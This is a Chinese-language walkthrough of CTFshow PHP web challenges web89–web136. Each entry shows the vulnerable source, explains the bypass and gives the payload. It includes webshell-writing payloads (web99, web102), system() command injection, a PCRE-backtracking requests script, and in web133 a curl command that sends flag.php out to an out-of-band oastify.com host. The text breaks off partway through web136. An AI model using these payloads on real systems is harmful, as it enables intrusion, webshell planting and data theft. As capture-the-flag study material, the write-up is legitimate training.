web89 10
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
正则只过滤字符串中是否存在数字,进行数组绕过
?num[]=1
web90 10
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
intval()在转换时会忽略非数字字符(从第一个非数字字符开始),它也是个取整函数
基本语法
intval(mixed $value, int $base = 10): int
- $value:要转换的变量(可以是字符串、浮点数、布尔值等)。
- $base(可选):转换时使用的进制基数,默认值为 10(十进制)。为0则是自主匹配进制
?num=4476a
//或者
?num=4476.1
web91 10
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
/^php$/im:允许输入包含多个行,只要其中任何一行是php(忽略大小写),就算匹配成功- m修饰符允许^和$匹配行的开头和结尾,而非整个字符串,把php放中间
| i | 不区分大小写匹配 |
| m | 多行匹配,^和$将匹配,每一行的开头和结尾 |
| s | 单行模式,“.”号可以匹配换行符 |
| x | 忽略正则中的空白和注释 |
| u | 强制按UTF-8处理字符 |
| A | 强制从目标字符串的起始位置开始匹配(相当于模式以^开头) |
| D | 若使用$,不匹配换行符之后的位置 |
| U | 非贪婪模式(反转量词的贪婪行为) |
?cmd=test
php
test
//url编码后
?cmd=test%0Aphp%0Atest
web92 10
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
变成了弱比较,浮点数截断
?num=4476.2
//或者
?num=4478e1
//指数绕过
web93 10
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
禁用字母,用浮点数绕过
?num=4476.1
或者使用进制转换
可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制
payload : ?num=010574
web94 10
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos() 函数查找字符串在另一字符串中第一次出现的位置。他会查找num传入数据中的“0”并返回位置,在第几位就返回几。如果0在首位,会返回“0”,在这里就变成了“!0”,仍然被识别为true,然后执行die,这里的0要出现在非首位。
?num=4476.0
web95 10
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
把.过滤了,进制转换,只有八进制符合,
?num=+010574
//或者
?num=%2b010574
web96 10
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
尝试直接读取文件,查找当前目录
Linux特性,
./表示档期那目录
?u=./flag.php
web97 10
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
进行数组绕过
任何数组的 MD5 哈希值都是
NULL。
a[]=1&b[]=2
web98 10
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
看一下代码
$_GET?$_GET=&$_POST:'flag';
/*
三元运算符。
$_GET 变量是一个数组,内容是 GET 方法发送的变量名称和值,类似于字典。
如果 $_GET 变量不为空,则 $_GET 变量和 $_POST 变量指向同一个地址,即$_POST 变量内容会影响 $_GET 变量的内容。
如果 $_GET 变量为空,整个三元表达式的结果为 ’flag’。
*/
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
/*
如果 flag 变量值为 ’flag’,则 $_GET 变量和 $_COOKIE 变量指向同一个地址;
否则返回flag。
*/
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
/*
如果flag变量值为’flag’,则 $_GET 变量和 $_SERVER 变量指向同一个地址;
否则返回flag。
*/
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
/*
如果 HTTP_FLAG 变量值为 ’flag’,输出 $flag,否则输出当前文件。
*/
Get随便传
//get:
?dummy=1
//post:
HTTP_FLAG=flag
web99 10
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较。例如比较 1.php 时会自动转换为 1 再比较
通过 GET 传递值来命名 PHP 文件,再通过 POST 传递 webshell 写入文件。之后访问此 webshell 即可。
//get
?n=45.php
//post
content=<?php system($_POST[1]);?>

web100 10
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);是关键突破口,PHP 中赋值运算符 = 的优先级高于逻辑运算符 and,运算符优先级:&& > || > = > and > or
因此这行代码的执行顺序等价于:
$v0 = is_numeric($v1); // 先执行赋值,$v0 仅由 is_numeric($v1) 的结果决定
is_numeric($v2) and is_numeric($v3); //这部分逻辑运算对 $v0 无影响(被“短路”)
因此,只要 is_numeric($v1) 返回 true,$v0 就为 true,能通过外层 if($v0) 判断。
"$v2('ctfshow')$v3"对于v2和v3会进行拼接
构造一段不含分号的代码var_dump($ctfshow),用于输出 $ctfshow 对象, 同时用注释截断多余内容,避免传入v3时导致的语法问题
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
//或
?v1=123&v2=system('nl *.php')/*&v3=*/;
web101 10
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
在上一题的基础上禁用了一堆符号,注释解法不可用了
PHP反射机制
ReflectionClass是 PHP 内置类,用于动态获取类的元数据(如属性、方法、权限等)。即使属性是private,反射也能强制读取其值。
?v1=1&v2=echo new Reflectionclass&v3=;
最后一位字符爆破
web102 10
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);//把V1的值当成函数名,把$s的值当成该函数的第一个参数去执行
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
- file_put_contents 是 PHP 中用于将字符串写入文件的函数。如果文件不存在,它会创建一个新文件,如果文件已存在,它会覆盖文件内容,除非设置了 FILE_APPEND 标志。
- 运算符优先级
- 构造$v3为php://filter/write=convert.base64-decode/resource=shell.php。这个伪协议的作用是:将我们要写入的内容进行base64解码后再写入文件。这样我们就可以把base64编码的webshell写进去,避免被过滤。
- call_user_func()函数允许调用一个回调函数,这个回调函数可以是一个简单的函数名,一个方法名,或者一个包含函数名的数组。关键特性:它可以接受一个可变数量的参数,这些参数会传递给回调函数。
- V2的webshell是
<?=`cat *`;,十六进制3c3f3d6576616c28245f504f53545b315d293b3f3e,为了绕过在十六进制前加两个11
GET:
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=sh.php
POST:
v1=hex2bin
web103 10
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
正则匹配过滤,但是不影响,payload同上
GET:
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=sh.php
POST:
v1=hex2bin
web104 10
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
两个参数传同样的值就可以过了,还能0e绕过
web105 10
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
利用变量覆盖,让 $suces 和 $error 都等于 $flag。这样无论如何根据代码的输出都能得知 flag
$$a是一种特殊的变量语法,用来实现变量覆盖:
$foo = 'bar';
$bar = 'Hello, World!';
// 使用 $$foo 来访问 $bar 的值
// 因为 $foo 的值是 'bar' ,所以 $$foo 实际上等同于 $bar
// 最终输出 'Hello, World!' 。
echo $$foo;
完整思路
- GET 传参 ?suces=flag → 让 $suces = $flag(把 flag 的值 “暂存” 到 $suces)。
- POST 传参 error=suces → 让 $error = $suces → 最终 $error = $flag(把 flag 的值 “传递” 到 $error)。
- 验证失败触发 die($error) → 由于 POST 没有传 flag,验证不通过,执行 die($error) → 此时 $error 已经是 flag 的值 → 输出 flag。
//get传参
?suces=flag
//post传参
error=suces
web106 10
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
科学计数法绕过或数组绕过
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
10932435112
web107 10
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
post传v1的值,然后将V1的值赋给V2,取出v2中键名为flag所对应的值和V3的md5值比较
可以进行数组绕过
//get
?v3[]=MAUXXQC
//post
v1[]=1
进行变量覆盖
//get
?v3=MAUXXQC
//post
v1=flag=0
web108 10
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
ereg()中只允许字母出现,可以进行%00截断,0x36d进制转换出来是877,strrev()对c的传参内容进行反转
?c=a%00778
web109 10
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
只能传入字母,$v1($v2());这里会对传入的字母进行拼接,看到new,反射类操作
?v1=Exception&v2=system('tac fl36dg.txt')
- 对于 v2 后面的括号,只要变量后面紧跟着(),就会对这个变量作为函数进行调用。
- Exception 是 PHP 自带的“异常”类;只要 throw 或 new 它,就能把错误信息封装成一个对象,随后用 try-catch 捕获,或者直接 echo 让它自动转成字符串并打印。
或者
{使用php自带的内置方法} {在php官方文档找到带有::__toString的后缀,这种是类} {把带__toString的函数罗列一些出来}
CachingIterator::__toString() DirectoryIterator::__toString Error::__toString Exception::__toString
?v1= CachingIterator&v2=system(ls)
?v1= DirectoryIterator&v2=system(ls)
?v1= Error&v2=system(ls)
?v1= Exception&v2=system(ls)
参考文章:https://blog.csdn.net/qq_44657899/article/details/109558430
web110 10
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
- php 内置类,利用 FilesystemIterator 获取指定目录下的所有文件。
- getcwd() 函数,获取当前工作目录,返回当前工作目录。
?v1=FilesystemIterator&v2=getcwd
参考文章:https://blog.csdn.net/KeepPromise/article/details/133466218#web93_90
web111 10
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
- v1和v2只能输入字母,同时1要包含字符串ctfshow
&属于地址传参,意思就是在函数内,如果对v1和v2变量进行修改,就是真实的被修改了。因此题目说的是变量覆盖。- $flag是在外部声明,不能直接使用,
- 可以利用 $GLOBALS 作为一个包含所有变量的超全局数组,使得 $ctfshow = &$GLOBALS 后,直接 var_dump($ctfshow) 就能输出 $flag 的值。
?v1=ctfshow&v2=GLOBALS
web112 10
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
- is_file($file) 检查 $file 是否为真实存在的文件。
- 如果是真实文件,输出 hacker!。
- 如果不是真实文件(如伪协议、不存在的路径),则调用 highlight_file(filter($file))。
过滤了一大堆,但还是有的用的,绕过方式
| 伪协议 | ?file=php://filter/read=convert.iconv.UTF-8.UTF-7/resource=flag.php或?file=php://filter/resource=flag.php |
| 过滤器 | ?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php |
| 大小写绕过 | ?file=PHP://filter/read=convert.base64-encode/resource=flag.php |
| 压缩流 | ?file=compress.zlib://flag.php |
?file=php://filter/read=convert.iconv.UTF-8.UTF-7/resource=flag.php
web113 10
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
加了个php://filter/… 无法使用,但是还是可以用别的,zip伪协议
?file=compress.zlib://flag.php
web114 10
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
zip禁用,但是filter可用
?file=php://filter/resource=flag.php
web115 10
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
str_replace是 PHP 中用于字符串替换的函数,支持数组作为参数,能够对多个值进行替换操作。
trim 除了单词之间的单个空格外,移除字符串两侧的空白字符或其他预定义字符。
trim()函数会去掉num里的%0a %0b %0d %20 %09 这里只有%0c可用。%0c==\f
?num=%0c36
web123 10
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
传三个参数,CTF_SHOW,CTF_SHOW.COM,fun,
知识点:在php中变量名只有数字、字母、下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_。但如果传入[,它被转化为_之后,后面的字符就会被保留下来,不会被替换
POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
web125 10
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
过滤了echo等函数,用highlight_file替换,同时利用嵌套绕过
//get
?1=flag.php
//post
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
web126 10
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
$_SERVER['argv']是一个数组,包含所有传入的参数。
- GET 参数设计:?a=1+fl0g=flag_give_me
这里利用了$_SERVER[‘argv’]的特性,在 URL 中用+分隔的参数会被解析为数组元素
a=_SERVER['argv']会将其解析为$a[0] = '1'和$a[1] = 'fl0g=flag_give_me'
- parse_str()是 PHP 的内置函数,作用是将字符串解析为变量
- 这里$a[1]的值是
fl0g=flag_give_me执行后相当于
$fl0g = "flag_give_me",正好满足代码中if($fl0g===”flag_give_me”)的条件
//get:
?a=1+fl0g=flag_give_me
//post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
或者
?$fl0g=flag_give_me;
在 PHP 中,当通过命令行模式运行脚本时,$_SERVER[‘argv’]会存储命令行参数,第一个元素($a[0])通常是脚本文件名。
但在某些 Web 服务器配置下(尤其是 CGI 模式),URL 中的查询字符串会被解析到$_SERVER[‘argv’]中,此时?$fl0g=flag_give_me;会使$a[0]的值变为
$fl0g=flag_give_me;fun=eval($a[0])
eval函数不在过滤关键字列表中(过滤规则中禁止了echo、var_dump等,但没有禁止eval)。
执行后相当于eval(‘$fl0g=flag_give_me;’),直接将$fl0g变量赋值为flag_give_me,满足代码中if($fl0g===”flag_give_me”)的条件,从而输出 flag。
//get:
?$fl0g=flag_give_me;
//post:
CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
//或者
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
web127 10
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
当 GET 参数名中包含空格时,PHP 会自动将空格转换为下划线_
?%63%74%66%5f%73%68%6f%77=ilove36d # urlencode绕过
?ctf show=ilove36d # 空格会被转换为_
web128 10
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
一个新的姿势,当php扩展目录下有php_gettext.dll时:
_()是一个函数。
_()==gettext() 是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。
call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。
当正常的gettext(“get_defined_vars”);时会返还get_defined_vars
为了绕过正则,_()函数和gettext()的效果一样,所以可以用_()函数代替gettext()函数。
call_user_func会利用_()将get_defined_vars返还出来然后再有一个call_user_func来调用get_defined_vars函数,然后利用var_dump函数就可以得到flag。
我觉的比较好的理解是
- 在 PHP 中,下划线_是一个特殊的变量,它会保存最后一次表达式的值。当把它作为函数名调用时:
- call_user_func($f1, $f2) 相当于 call_user_func(‘_’, ‘get_defined_vars’),这实际上会调用_(‘get_defined_vars’),在 PHP 中这相当于直接返回字符串 ‘get_defined_vars’
- 所以外层的call_user_func()就变成了call_user_func(‘get_defined_vars’)
- get_defined_vars()是 PHP 的内置函数,用于返回当前作用域中所有已定义的变量的数组,这个数组中会包含从 flag.php 中引入的 $flag 变量
payload
?f1=_&f2=get_defined_vars
web129 10
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
GET 方式传递f参数,且该参数的值中包含ctfshow(不区分大小写)且ctfshow不是从开头开始时,就会读取并显示f参数指定的文件内容。
经过测试,只有绝对路径有用,相对路径是无效的
?f=/ctfshow/../var/www/html/flag.php
web130 10
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
必须包含ctfshow(不区分大小写),ctfshow前面不能有任何字符(包括空格、特殊字符等)
- 正则表达式/.+?ctfshow/is表示:f中存在任意字符(至少 1 个)后面跟着ctfshow
- i修饰符表示不区分大小写,s修饰符让.匹配换行符,如果满足这个条件,就输出bye!并终止程序
?f=ctfshow
web131 10
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
- 必须包含
36Dctfshow(不区分大小写) - 在
ctfshow前面不能有任何字符(包括36D之后的字符也不行)
PCRE回溯
当正则表达式匹配到某个位置失败时,引擎会 “退回” 到之前的状态,尝试其他可能的匹配路径,直到找到有效匹配或确认匹配失败
当回溯次数超过 PCRE 限制,preg_match() 返回 false,相当于 “绕过了正则检查”
import requests
url="http://0e826a72-c768-46a9-ad42-1e3aa8d1edd8.challenge.ctf.show/"
data={
'f':'a'*1000000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)
web132 10
先robots.txt,再/admin回显如下
<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
运算符优先级(&&高于||)
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")等价于
( $code === mt_rand(1,0x36D) && $password === $flag ) || ( $username ==="admin" )
两个条件满足一个即可
条件 1:$code严格等于mt_rand(1,0x36D)的结果 并且 $password严格等于$flag
条件 2:$username严格等于 “admin”
?username=admin&password=123&code=admin
web133 10
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
只读取前6个字符去执行命令,禁止命令执行函数,没有写入权限
变量覆盖+无回显命令执行dns_bp外带
?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
- 反引号在PHP中是shell_exec ()` 的简写,用于执行系统命令并返回结果
- 截取$F的前 6 个字符:
`$F`;+作为PHP代码执行- 反引号在 PHP 中是
shell_exec()的语法糖,即命令`等价于shell_exec(‘命令’),所以$F会被解析为执行shell_exec($F),其中$F是我们传入的完整参数值(即$F`;+sleep 3)
# payload
#-X 强制指定 HTTP 请求使用的方法(如 GET、POST、PUT、DELETE 等)
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
#@符号表示 “读取本地文件flag.php的内容”,并将其作为xx字段的值发送
?F=`$F`;+curl -X POST -F xx=@flag.php http://ywy91jh961vkpomwhzyn9q5dz45vtlha.oastify.com

参考文章:https://blog.csdn.net/qq_46091464/article/details/109095382
web134 10
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
- 禁止直接传递 key1/key2 参数,
- $_SERVER[‘QUERY_STRING’] 表示 URL 中 ? 后面的查询字符串(例如 ?a=1&b=2 中的 a=1&b=2)
- parse_str() 函数会将查询字符串解析为变量(键为变量名,值为变量值),例如:如果查询字符串是 x=1&y=2,会生成 $x=1 和 $y=2
- key1等于36d,key2 等于 36d 时,会读取并输出 flag.php 的内容
extract($_POST);,这函数可以传数组,可以进行变量覆盖。注意这里变量名叫_POST,而不是个方法。
extract() 函数用于将数组中的键值对导入到当前的符号表中,键名作为变量名,键值作为变量值。
?_POST[key1]=36d&_POST[key2]=36d
web135 10
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
cp可以把flag.php复制去我们可以访问的文件,方式类似于web133
?F=`$F`;+cp flag.php 1.txt
web136 10
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
exec、system 和、passthru 都是用来调用外部 Linux 命令的函数,区别:
(1)system()
用于执行外部程序; 输出命令的执行结果到标准输出设备,并返回命令的最后一行结果; 可以通过传递第二个参数来捕获命令执行后的返回状态码。(2)passthru()
用于执行外部程序; 将命令的原始输出直接发送到标准输出设备(通常是浏览器); 不返回任何值,但可以通过第二个参数捕获命令执行后的返回状态码。(3)exec()
